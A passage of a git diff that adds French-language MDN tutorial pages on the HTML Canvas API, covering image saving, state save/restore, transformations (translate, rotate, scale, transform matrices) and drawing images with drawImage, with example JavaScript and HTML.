+    zoomctx.imageSmoothingEnabled = this.checked;
+    zoomctx.mozImageSmoothingEnabled = this.checked;
+    zoomctx.webkitImageSmoothingEnabled = this.checked;
+    zoomctx.msImageSmoothingEnabled = this.checked;
+  };
+  smoothbtn.addEventListener('change', toggleSmoothing);
+
+  var zoom = function(event) {
+    var x = event.layerX;
+    var y = event.layerY;
+    zoomctx.drawImage(canvas,
+                      Math.abs(x - 5),
+                      Math.abs(y - 5),
+                      10, 10,
+                      0, 0,
+                      200, 200);
+  };
+
+  canvas.addEventListener('mousemove', zoom);
+}
+ +

{{ EmbedLiveSample('Zoom_example', 620, 490) }}

+ +

Sauvegarde des images

+ +

L' {{domxref ("HTMLCanvasElement")}} fournit une méthode toDataURL (), utile lors de l'enregistrement d'images. Il retourne un URI de données contenant une représentation de l'image dans le format spécifié par le paramètre de type (par défaut en PNG ). L'image renvoyée est dans une résolution de 96 dpi.

+ +
+
{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}
+
Par défaut. Crée un image PNG.
+
{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}
+
Crée une image JPG. En option, vous pouvez fournir une qualité comprise entre 0 et 1, 1 étant de la meilleure qualité et 0 presque non reconnaissable mais de petite taille.
+
+ +

Une fois que vous avez généré un URI de données à partir de votre canevas, vous pouvez l'utiliser comme source de {{HTMLElement ("image")}} ou le mettre dans un lien hypertexte avec un attribut de téléchargement pour l'enregistrer sur le disque par exemple.

+ +

Vous pouvez également créer un {{domxref ("Blob")}} à partir du canevas.

+ +
+
{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}
+
Crée un objet Blob représentant l'image contenue dans le canevas.
+
+ +

Voir aussi

+ + + +

{{PreviousNext("Tutoriel_canvas/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}

diff --git a/files/fr/web/api/canvas_api/tutorial/transformations/index.html b/files/fr/web/api/canvas_api/tutorial/transformations/index.html new file mode 100644 index 0000000000..bf21fab4c8 --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/transformations/index.html @@ -0,0 +1,276 @@ +--- +title: Transformations +slug: Web/API/Canvas_API/Tutoriel_canvas/Transformations +tags: + - Canvas + - Graphismes + - Guide + - HTML + - Web +translation_of: Web/API/Canvas_API/Tutorial/Transformations +--- +
{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Utilisation_d'images", " Web/API/Canvas_API/Tutorial/Compositing ")}}
+ +
Précédemment dans ce tutoriel, nous avons étudié la grille du canevas et le système de coordonnées. Jusqu'à maintenant, nous avons uniquement utilisé la grille par défaut et modifié la taille de la globalité du canevas afin de répondre à nos besoins. Les transformations que nous allons aborder dans la suite vont nous permettre, de manière plus puissante, d'effectuer des déplacements et des rotations sur la grille et même d'effectuer des mises à l'échelle.
+ +

Sauvegarde et restauration d'état

+ +

Avant d'étudier les méthodes de transformations, examinons deux autres méthodes qui vont être indispensables à partir du moment où l'on commence à créer des dessins complexes.

+ +
+
{{domxref("CanvasRenderingContext2D.save", "save()")}}
+
Sauvegarde l'état du canevas dans sa globalité.
+
{{domxref("CanvasRenderingContext2D.restore", "restore()")}}
+
Restore le plus récent état sauvegardé du canevas.
+
+ +

Les états du canevas sont stockés dans une pile. Chaque invocation de la méthode save() ajoute une copie de l'état courant du canevas en haut de la pile. L'état du dessin est constitué de :

+ +
    +
  • les transformations qui ont été appliquées (exemples : déplacement, rotation, mise à l'échelle).
    • +
  • Les valeurs actuelles des attributs suivants : {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}, {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}, {{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha")}}, {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}}, {{domxref("CanvasRenderingContext2D.lineCap", "lineCap")}}, {{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin")}}, {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}, {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}}, {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}, {{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor")}}, {{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation")}}, {{domxref("CanvasRenderingContext2D.font", "font")}}, {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, {{domxref("CanvasRenderingContext2D.direction", "direction")}}, {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}.
    • +
  • Le chemin de découpe (clipping path) actuel, qu'on abordera plus loin.
    • +
+ +

La méthode save() peut être invoquée autant de fois que nécessaire. Chaque appel de restore() enlève le dernier état sauvegardé de la pile et tous les paramètres sauvegardés sont restaurés.

+ +

Un exemple de sauvegarde et de restauration de l état du canevas

+ +

Cet exemple tente d'illustrer comment fonctionne la pile d'états de dessin en dessinant un ensemble de rectangles consécutifs.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillRect(0, 0, 150, 150);   // Dessine un rectangle avec les réglages par défaut
+  ctx.save();                  // Sauvegarde l'état par défaut
+
+  ctx.fillStyle = '#09F';      // Fait des changements de réglages
+  ctx.fillRect(15, 15, 120, 120); // Dessine un rectangle avec les nouveaux réglages
+
+  ctx.save();                  // Sauvegarde l'état actuel
+  ctx.fillStyle = '#FFF';      // Fait des changements de réglages
+  ctx.globalAlpha = 0.5;
+  ctx.fillRect(30, 30, 90, 90);   // Dessine un rectangle avec de nouveaux réglages
+
+  ctx.restore();               // Restaure l'état précédent
+  ctx.fillRect(45, 45, 60, 60);   // Dessine un rectangle avec les réglages restaurés
+
+  ctx.restore();               // Restaure l'état d'origine
+  ctx.fillRect(60, 60, 30, 30);   // Dessine un rectangle avec les réglages restaurés
+}
+ + + +

La première étape consiste à dessiner un grand rectangle avec les paramètres par défaut. Ensuite, nous sauvegardons cet état et modifions la couleur de remplissage. Nous dessinons ensuite le deuxième rectangle bleu et mettons l'état de côté. Encore une fois, nous modifions certains paramètres de dessin et dessinons le troisième rectangle blanc semi-transparent.

+ +

Jusqu'à présent, cela ressemble beaucoup à ce que nous avons fait dans les sections précédentes. Cependant, une fois que nous appelons la première instruction restore(), l'état de dessin supérieur est supprimé de la pile et les paramètres sont restaurés. Si nous n'avions pas sauvegardé l'état en utilisant save (), nous devrions modifier manuellement la couleur de remplissage et la transparence afin de revenir à l'état précédent. Cela serait facile pour deux propriétés, mais si nous avons plus que cela, notre code deviendrait très long très rapidement.

+ +

Lorsque la deuxième instruction restore() est appelée, l'état d'origine (celui que nous avons configuré avant le premier appel à enregistrer) est restauré et le dernier rectangle est de nouveau tracé en noir.

+ +

{{EmbedLiveSample("Un_exemple_de_sauvegarde_et_de_restauration_de_l_état_du_canevas", "180", "180", "https://mdn.mozillademos.org/files/249/Canvas_savestate.png")}}

+ +

Déplacement

+ +

La première des méthodes de transformation que nous examinerons est translate (). Cette méthode est utilisée pour déplacer la toile et son origine vers un autre point de la grille.

+ +
+
{{domxref("CanvasRenderingContext2D.translate", "translate(x, y)")}}
+
Déplace la toile et son origine sur la grille. x indique la distance horizontale du déplacement, et y indique à quelle distance déplacer la grille verticalement.
+
+ +

C'est une bonne idée de sauvegarder l'état du canevas avant d'effectuer des transformations. Dans la plupart des cas, il est plus facile d'appeler la méthode restore que d'avoir à effectuer un déplacement inverse pour revenir à l'état d'origine. De même, si vous déplacez à l'intérieur d'une boucle et que vous ne sauvegardez pas et ne restaurez pas l'état du canevas, il se peut qu'une partie de votre dessin soit manquante, car elle a été dessinée en dehors du bord du canevas.

+ +

Un exemple translate

+ +

Cet exemple montre certains des avantages du déplacement de l'origine du canevas. Sans la méthode translate (), tous les rectangles seraient dessinés à la même position (0,0). La méthode translate () nous donne également la liberté de placer le rectangle n'importe où sur le canevas sans avoir à ajuster manuellement les coordonnées dans la fonction fillRect (). Cela le rend un peu plus facile à comprendre et à utiliser.

+ +

Dans la fonction draw (), nous appelons la fonction fillRect () neuf fois en utilisant deux boucles for . Dans chaque boucle, le canevas est déplacé, le rectangle est dessiné et le canevas est retourné à son état d'origine. Notez comment l'appel à fillRect () utilise les mêmes coordonnées à chaque fois, en s'appuyant sur translate () pour ajuster la position du dessin.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i < 3; i++) {
+    for (var j = 0; j < 3; j++) {
+      ctx.save();
+      ctx.fillStyle = 'rgb(' + (51 * i) + ', ' + (255 - 51 * i) + ', 255)';
+      ctx.translate(10 + j * 50, 10 + i * 50);
+      ctx.fillRect(0, 0, 25, 25);
+      ctx.restore();
+    }
+  }
+}
+ + + +

{{EmbedLiveSample("Un_exemple_translate", "160", "160", "https://mdn.mozillademos.org/files/9857/translate.png")}}

+ +

Rotation

+ +

La seconde méthode de transformation est rotate(). Nous l'utilisons pour faire pivoter le canevas autour de l'origine actuelle.

+ +
+
{{domxref("CanvasRenderingContext2D.rotate", "rotate(angle)")}}
+
Fait pivoter le canevas, dans le sens des aiguilles d'une montre autour de l'origine actuelle, par le nombre de radians de l'angle.
+
+ +

Le point central de rotation est toujours l'origine de la toile. Pour changer le point central, nous devrons déplacer le canevas en utilisant la méthode translate ().

+ +

Un exemple rotate

+ +

Dans cet exemple, nous utiliserons la méthode rotate () pour faire d'abord tourner un rectangle à partir de l'origine du canevas, puis du centre du rectangle lui-même à l'aide de translate ().

+ +
+

Rappel : Les angles sont en radians, pas en degrés. Pour convertir en degrés, nous utilisons : radians = (Math.PI/180)*degrees.

+
+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // rectangles de gauche, rotation depuis l'origine du canevas
+  ctx.save();
+  // rectangle bleu
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.rotate((Math.PI / 180) * 25);
+  // rectangle gris
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.restore();
+
+  // rectangles de droite, rotation depuis le centre du rectangle
+  // dessine le rectangle bleu
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(150, 30, 100, 100);
+
+  ctx.translate(200, 80); // déplace au centre du rectangle
+                          // x = x + 0.5 * width
+                          // y = y + 0.5 * height
+  ctx.rotate((Math.PI / 180) * 25); // rotation
+  ctx.translate(-200, -80); // déplace en arrière
+
+  // dessine le rectangle gris
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(150, 30, 100, 100);
+}
+ +

Pour faire pivoter le rectangle autour de son propre centre, nous déplaçons le canevas au centre du rectangle, puis faisons pivoter le canevas, puis le déplaçons à 0,0, puis dessinons le rectangle.

+ + + +

{{EmbedLiveSample("Un_exemple_rotate", "310", "210", "https://mdn.mozillademos.org/files/9859/rotate.png")}}

+ +

Mise à l'échelle

+ +

La méthode de transformation suivante est la mise à l'échelle. Nous l'utilisons pour augmenter ou diminuer les unités de notre grille de canevas. Cela peut être utilisé pour dessiner des formes ou des bitmaps réduits ou agrandis.

+ +
+
{{domxref("CanvasRenderingContext2D.scale", "scale(x, y)")}}
+
Met à l'échelle les unités du canevas avec x horizontalement et y verticalement. Les deux paramètres sont des nombres réels. Les valeurs inférieures à 1,0 réduisent la taille de l'unité et les valeurs supérieures à 1,0 augmentent la taille de l'unité. Les valeurs 1.0 laissent les unités à la même taille.
+
+ +

En utilisant des nombres négatifs, vous pouvez faire une mise en miroir d'axe (par exemple en utilisant translate (0, canvas.height), scale (1, -1), vous aurez le système de coordonnées cartésien bien connu, avec l'origine dans le coin inférieur gauche).

+ +

Par défaut, une unité sur la toile est exactement un pixel. Si nous appliquons, par exemple, un facteur d'échelle de 0,5, l'unité résultante deviendrait 0,5 pixels et ainsi les formes seraient dessinées à la moitié de la taille. De la même façon, si nous définissons le facteur d'échelle sur 2.0, la taille de l'unité augmentera et une unité deviendra deux pixels. Cela donne des formes dessinées deux fois plus grandes.

+ +

Un exemple scale

+ +

Dans ce dernier exemple, nous allons dessiner des  formes avec différents facteurs d'échelle.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // dessine un rectangle simple, mais le met à l'échelle.
+  ctx.save();
+  ctx.scale(10, 3);
+  ctx.fillRect(1, 10, 10, 10);
+  ctx.restore();
+
+  // mirror horizontally
+  ctx.scale(-1, 1);
+  ctx.font = '48px serif';
+  ctx.fillText('MDN', -135, 120);
+}
+ + + +

{{EmbedLiveSample("Un_exemple_scale", "160", "160", "https://mdn.mozillademos.org/files/9861/scale.png")}}

+ +

Transformation

+ +

Enfin, les méthodes de transformation suivantes appliquent des modifications directement à la matrice de transformation.

+ +
+
{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}
+
Multiplie la matrice de transformation actuelle avec la matrice décrite par ses arguments. La matrice de transformation est décrite par : [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]
+
+ +
+
Si l'un des arguments est infini, la matrice de transformation doit être marquée comme infinie, plutôt que d'utiliser la méthode qui lance une exception.
+
+ +

Les paramètres de cette fonction sont :

+ +
+
a (m11)
+
Mise à l'échelle horizontale.
+
b (m12)
+
Inclinaison horizontale.
+
c (m21)
+
Inclinaison verticale.
+
d (m22)
+
Mise à l'échelle verticale.
+
e (dx)
+
Déplacement horizontal.
+
f (dy)
+
Déplacement vertical.
+
{{domxref("CanvasRenderingContext2D.setTransform", "setTransform(a, b, c, d, e, f)")}}
+
Réinitialise la transformation en cours dans la matrice d'identité, puis appelle la méthode transform () avec les mêmes arguments. Cela défait la transformation en cours, puis définit la transformation spécifiée, le tout en une seule étape.
+
{{domxref("CanvasRenderingContext2D.resetTransform", "resetTransform()")}}
+
Réinitialise la transformation en cours à la matrice d'identité. C'est la même chose que d'appeler : ctx.setTransform (1, 0, 0, 1, 0, 0);
+
+ +

Exemple pour transform et setTransform

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  var sin = Math.sin(Math.PI / 6);
+  var cos = Math.cos(Math.PI / 6);
+  ctx.translate(100, 100);
+  var c = 0;
+  for (var i = 0; i <= 12; i++) {
+    c = Math.floor(255 / 12 * i);
+    ctx.fillStyle = 'rgb(' + c + ', ' + c + ', ' + c + ')';
+    ctx.fillRect(0, 0, 100, 10);
+    ctx.transform(cos, sin, -sin, cos, 0, 0);
+  }
+
+  ctx.setTransform(-1, 0, 0, 1, 100, 100);
+  ctx.fillStyle = 'rgba(255, 128, 255, 0.5)';
+  ctx.fillRect(0, 50, 100, 100);
+}
+ + + +

{{EmbedLiveSample("Exemple_pour_transform_et_setTransform", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}

+ +

{{PreviousNext("Tutoriel_canvas/Utilisation_d'images", "Tutoriel_canvas/Composition")}}

diff --git a/files/fr/web/api/canvas_api/tutorial/using_images/index.html b/files/fr/web/api/canvas_api/tutorial/using_images/index.html new file mode 100644 index 0000000000..50a286e0fa --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/using_images/index.html @@ -0,0 +1,320 @@ +--- +title: Utilisation d'images +slug: Web/API/Canvas_API/Tutoriel_canvas/Utilisation_d'images +tags: + - Canvas + - Graphismes + - HTML + - Tutoriels +translation_of: Web/API/Canvas_API/Tutorial/Using_images +--- +

{{CanvasSidebar}} {{PreviousNext("Dessin_de_texte_avec_canvas", "Tutoriel_canvas/Transformations" )}}

+ +

Jusqu'à présent, nous avons créé nos propres formes et styles appliqués. L'une des fonctionnalités les plus intéressantes de {{HTMLElement ("canvas")}} est la possibilité d'utiliser des images. Celles-ci peuvent être utilisées pour faire de la composition dynamique de photos ou comme décors de graphes, pour des "sprites" dans des jeux, et ainsi de suite. Les images externes peuvent être utilisées dans n'importe quel format pris en charge par le navigateur, comme PNG, GIF ou JPEG. Vous pouvez même utiliser l'image produite par d'autres éléments du canevas sur la même page comme source !

+ +

L'importation d'images est un processus en deux étapes :

+ +
    +
  1. obtenez une référence à un objet {{domxref ("HTMLImageElement")}} ou à un autre élément canvas en tant que source. Il est également possible d'utiliser des images en fournissant une URL.
    2. +
  2. l'image est dessinée sur le canevas à l'aide de la fonction drawImage() .
    3. +
+ +

Jetons un oeil à la façon de le faire.

+ +

Obtenir des images à dessiner

+ +

L'API Canvas peut utiliser l'un des types de données suivants comme source d'image :

+ +
+
{{domxref("HTMLImageElement")}}
+
Il s'agit d'images créées à l'aide du constructeur Image() , ainsi que de tout élément {{HTMLElement ("img")}}.
+
{{domxref("SVGImageElement")}}
+
Ce sont des images incorporées en utilisant l'élément {{SVGElement ("image")}}.
+
{{domxref("HTMLVideoElement")}}
+
L'utilisation d'un élément HTML {{HTMLElement("video")}} comme source d'image capture l'image actuelle de la vidéo et l'utilise comme une image.
+
{{domxref("HTMLCanvasElement")}}
+
Vous pouvez utiliser un autre élément {{HTMLElement("canvas")}} comme source d'image.
+
+ +

Ces sources sont collectivement référencées par le type {{domxref ("CanvasImageSource")}}.

+ +

Il existe plusieurs façons d'obtenir des images pour une utilisation sur une toile.

+ +

Utilisation d'images présentes sur la même page

+ +

Nous pouvons obtenir une référence aux images sur la même page que le canevas en utilisant l'un des éléments suivants :

+ +
    +
  • la collection {{domxref("document.images")}} ;
    • +
  • la méthode {{domxref("document.getElementsByTagName()")}} ;
    • +
  • si vous connaissez l'ID de l'image spécifique que vous souhaitez utiliser, vous pouvez utiliser  {{domxref("document.getElementById()")}} pour retrouver cette image.
    • +
+ +

Utilisation d'images d'un autre domaine

+ +

En utilisant l'attribut {{htmlattrxref ("crossorigin", "img")}} d'un élément {{HTMLElement ("img")}} (reflété par la propriété {{domxref("HTMLImageElement.crossOrigin")}}), vous pouvez demander la permission de charger une image d'un autre domaine pour l'utiliser dans votre appel à drawImage (). Si le domaine d'hébergement permet un accès interdomaine à l'image, l'image peut être utilisée dans votre canevas sans l'altérer; sinon utiliser l'image va souiller le canevas.

+ +

Utilisation d'autres éléments canvas

+ +

Comme pour les images normales, nous accédons aux autres éléments Canvas en utilisant la méthode {{domxref ("document.getElementsByTagName ()")}} ou {{domxref ("document.getElementById ()")}}. Assurez-vous d'avoir dessiné quelque chose sur le canevas source avant de l'utiliser dans votre canevas cible.

+ +

Une des utilisations les plus pratiques de cette fonctionnalité serait d'utiliser un second élément canvas comme aperçu de taille réduite d'un canevas de grande taille.

+ +

Création d'une image à partir de rien

+ +

Une autre option est de créer de nouveaux objets {{domxref("HTMLImageElement")}} dans le script même. Pour ce faire, vous pouvez utiliser le constructeur Image().

+ +
var img = new Image();   // Crée un nouvel élément Image
+img.src = 'myImage.png'; // Définit le chemin vers sa source
+
+ +

Lorsque ce script est exécuté, l'image commence à être chargée.

+ +

Si vous essayez d'appeler drawImage () avant le chargement de l'image, il ne fera rien (ou, dans les anciens navigateurs, cela peut même déclencher une exception). Vous devez donc être sûr d'utiliser l'événement load pour ne pas essayer avant que l'image ne soit chargée :

+ +
var img = new Image();   // Crée un nouvel élément img
+img.addEventListener('load', function() {
+  //  exécute les instructions drawImage ici 
+}, false);
+img.src = 'myImage.png'; // définit le chemin de la source
+ +

Si vous n'utilisez qu'une image externe, cela peut être une bonne approche, mais une fois que vous avez besoin de suivre plus d'une image, vous devez recourir à quelque chose de plus intelligent. Il est hors de portée de ce tutoriel de regarder les tactiques de préchargement d'images, mais vous devriez garder cela à l'esprit.

+ +

Intégration d'une image via une data: URL

+ +

Un autre moyen possible d'inclure des images est via les data: url.. . Les URL de données vous permettent de définir complètement une image en tant que chaîne de caractères codée en Base64 directement dans votre code.

+ +
var img = new Image();   // Crée un nouvel élément img
+img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw==';
+ +

L'un des avantages des URL de données est que l'image résultante est disponible immédiatement, sans autre aller-retour au serveur. Un autre avantage potentiel,'il est également possible d'encapsuler dans un fichier tous vos CSS, JavaScript, HTML et images, ce qui les rend plus portable vers d'autres endroits.

+ +

Certains inconvénients de cette méthode sont que votre image n'est pas mise en cache, et pour les grandes images, l'URL encodée peut devenir assez longue.

+ +

Utilisation des images d'une vidéo

+ +

Vous pouvez également utiliser les images d'une vidéo présentée par un élément {{HTMLElement("video")}} (même si la vidéo n'est pas visible). Par exemple, si vous avez un élément {{HTMLElement("video")}} avec l'ID "myvideo", vous pouvez faire :

+ +
function getMyVideo() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    return document.getElementById('myvideo');
+  }
+}
+ +

Cela renvoie l'objet {{domxref ("HTMLVideoElement")}} pour la vidéo, qui, comme décrit précédemment, est l'un des objets pouvant être utilisé comme CanvasImageSource.

+ +

Dessin d'images

+ +

Une fois la référence à l'objet image source obtenue, on peut utiliser la méthode drawImage() pour l'afficher sur le canevas. Comme nous le verrons plus tard, la méthode drawImage() est surchargée et possède trois variantes différentes. Dans sa forme la plus basique, elle ressemble à ceci :

+ +
+
{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y)")}}
+
Dessine le CanvasImageSource spécifié par le paramètre image aux coordonnées (x, y).
+
+ +
+

Les images SVG doivent spécifier une largeur et une hauteur dans l'élément racine <svg>.

+
+ +

Exemple: un graphique linéaire simple

+ +

Dans l'exemple suivant, nous utiliserons une image externe comme fond pour un petit graphique linéaire. L'utilisation d'images de fond peut rendre vos scripts considérablement plus légers puisqu'il n'est alors pas nécessaire de dessiner des arrières-plans élaborés. Une seule image est utilisée ici, on utilise donc le gestionnaire d'évènement load de l'objet image pour lancer les instructions de dessin. La méthode drawImage() place l'image de fond aux coordonnées (0,0), soit le coin supérieur gauche du canevas.

+ +
<html>
+ <body onload="draw();">
+   <canvas id="canvas" width="180" height="150"></canvas>
+ </body>
+</html>
+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function() {
+    ctx.drawImage(img, 0, 0);
+    ctx.beginPath();
+    ctx.moveTo(30, 96);
+    ctx.lineTo(70, 66);
+    ctx.lineTo(103, 76);
+    ctx.lineTo(170, 15);
+    ctx.stroke();
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5395/backdrop.png';
+}
+ +

Le graphique résultant ressemble à ceci :

+ +

{{EmbedLiveSample("Example_A_simple_line_graph", 220, 160, "https://mdn.mozillademos.org/files/206/Canvas_backdrop.png")}}

+ +

Mise à l'échelle

+ +

La seconde variante de la méthode drawImage() ajoute deux paramètres supplémentaires et permet de placer des images redimensionnées sur le canevas.

+ +

Exemple: Tapissage d'une image

+ +

Dans cet exemple, nous utiliserons une image comme papier-peint en la répétant plusieurs fois sur le canevas. Cette opération est réalisée simplement en faisant une boucle plaçant plusieurs fois l'image redimensionnée à différentes positions. Dans le code ci-dessous, la première boucle for s'occupe des lignes alors que la seconde gère les colonnes. L'image est redimensionnée à un tiers de sa taille originale, ce qui fait 50×38 pixels.

+ +
+

Note : les images peuvent devenir floues lorsqu'elles sont agrandies ou granuleuses si elles sont réduites. Il vaut mieux ne pas redimensionner une image contenant du texte devant rester lisible.

+
+ +
<html>
+ <body onload="draw();">
+   <canvas id="canvas" width="150" height="150"></canvas>
+ </body>
+</html>
+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function() {
+    for (var i = 0; i < 4; i++) {
+      for (var j = 0; j < 3; j++) {
+        ctx.drawImage(img, j * 50, i * 38, 50, 38);
+      }
+    }
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+}
+ +

Le canevas résultant ressemble à ceci :

+ +

{{EmbedLiveSample("Example_Tiling_an_image", 160, 160, "https://mdn.mozillademos.org/files/251/Canvas_scale_image.png")}}

+ +

Découpage

+ +

La troisième et dernière variante de la méthode drawImage() possède huit nouveaux paramètres. On peut l'utiliser pour découper des parties d'une image source et les afficher sur le canevas.

+ +
+
{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}
+
Cette fonction prend la zone de l'image source spécifiée par le rectangle dont le coin en haut à gauche est (sx, sy) et dont la largeur et la hauteur sont sWidth et sHeight et le dessine dans le canevas en le plaçant sur le canevas (dx, dy) et le redimensionner à la taille spécifiée par dWidth et dHeight.
+
+ +

Pour vraiment comprendre ce que cela fait, il peut être utile de regarder l'image à droite. Les quatre premiers paramètres définissent l'emplacement et la taille du morceau de l'image source. Les quatre derniers paramètres définissent le rectangle dans lequel dessiner l'image sur le canevas de destination.

+ +

Le découpage peut être un outil utile pour réaliser des compositions. Vous pouvez disposer tous les éléments dans un seul fichier image et utiliser cette méthode pour composer un dessin complet. Par exemple, si vous voulez réaliser un graphique, vous pouvez utiliser une image PNG contenant tout le texte nécessaire dans un seul fichier et, selon vos données, changer l'échelle de votre graphique sans trop de difficultés. Un autre avantage est qu'il n'est pas nécessaire de charger chaque image individuellement.

+ +

Exemple : encadrer une image

+ +

Dans cet exemple, nous utiliserons le même rhinocéros que plus haut, mais sa tête sera coupée et composée avec un cadre. L'image du cadre fournit une ombre portée qui a été enregistrée dans une image PNG 24 bits. Comme les images PNG 24 bits comportent un canal alpha complet de 8 bits, contrairement aux images GIF et PNG 8 bits, elle peut être placée sur n'importe quel fond sans avoir à se préoccuper de la couleur de transition.

+ +
<html>
+ <body onload="draw();">
+   <canvas id="canvas" width="150" height="150"></canvas>
+   <div style="display:none;">
+     <img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227">
+     <img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150">
+   </div>
+ </body>
+</html>
+ +
function draw() {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+
+  // Draw slice
+  ctx.drawImage(document.getElementById('source'),
+                33, 71, 104, 124, 21, 20, 87, 104);
+
+  // Draw frame
+  ctx.drawImage(document.getElementById('frame'), 0, 0);
+}
+ +

Nous avons pris une approche différente pour charger les images cette fois. Au lieu de les charger en créant de nouveaux objets {{domxref ("HTMLImageElement")}}, nous les avons incluses comme balises {{HTMLElement("img")}} directement dans notre source HTML et avons récupéré les images depuis ceux-ci. Les images sont masquées à partir de la sortie, en définissant la propriété CSS {{cssxref ("display")}} à aucune.

+ +

{{EmbedLiveSample("Example_Framing_an_image", 160, 160, "https://mdn.mozillademos.org/files/226/Canvas_drawimage2.jpg")}}

+ +

Le script lui-même est très simple. Chaque {{HTMLElement ("img")}} se voit attribuer un attribut ID, ce qui facilite leur sélection en utilisant {{domxref ("document.getElementById ()")}}. Nous utilisons simplement drawImage () pour découper le rhinocéros de la première image et le mettre à l'échelle sur le canevas, puis dessiner le cadre par le haut en utilisant un deuxième appel drawImage ().

+ + + +

Dans le dernier exemple de ce chapitre, nous présenterons une petite galerie d'art. Cette galerie est constituée d'un tableau contenant plusieurs images. Lorsque la page est chargée, un élément {{HTMLElement("canvas")}} est inséré pour chaque image et un cadre est dessiné autour.

+ +

Dans notre cas, toutes les images ont une largeur et une hauteur fixes, ainsi que le cadre qui sera dessiné autour. Le script pourrait être amélioré afin d'utiliser la largeur et la hauteur de l'image pour que le cadre s'adapte parfaitement à ses dimensions.

+ +

Le code ci-dessous devrait s'expliquer de lui-même. Nous parcourons le conteneur {{domxref ("document.images")}} et nous ajoutons de nouveaux éléments canvas. La seule chose notable est probablement, pour ceux qui ne sont pas familiers avec le DOM, l'utilisation de la méthode {{domxref("Node.insertBefore")}} . insertBefore() est une méthode du nœud parent (une cellule de tableau) de l'élément (l'image) avant lequel on désire insérer le nouveau nœud (l'élément canvas).

+ +
<html>
+ <body onload="draw();">
+     <table>
+      <tr>
+        <td><img src="https://mdn.mozillademos.org/files/5399/gallery_1.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5401/gallery_2.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5403/gallery_3.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5405/gallery_4.jpg"></td>
+      </tr>
+      <tr>
+        <td><img src="https://mdn.mozillademos.org/files/5407/gallery_5.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5409/gallery_6.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5411/gallery_7.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5413/gallery_8.jpg"></td>
+      </tr>
+     </table>
+     <img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150">
+ </body>
+</html>
+
+ +

Et voici quelques CSS pour rendre les choses agréables :

+ +
body {
+  background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4F191A;
+  margin: 10px;
+}
+
+img {
+  display: none;
+}
+
+table {
+  margin: 0 auto;
+}
+
+td {
+  padding: 15px;
+}
+
+ +

Le lien pour tout cela, c'est le JavaScript pour dessiner les images encadrées :

+ +
function draw() {
+
+  // Boucle à travers toutes les images
+  for (var i = 0; i < document.images.length; i++) {
+
+    // N'ajoute pas de canevas pour l'image du cadre
+    if (document.images[i].getAttribute('id') != 'frame') {
+
+      // Crée un élément canvas
+      canvas = document.createElement('canvas');
+      canvas.setAttribute('width', 132);
+      canvas.setAttribute('height', 150);
+
+      // Insère avant l'image
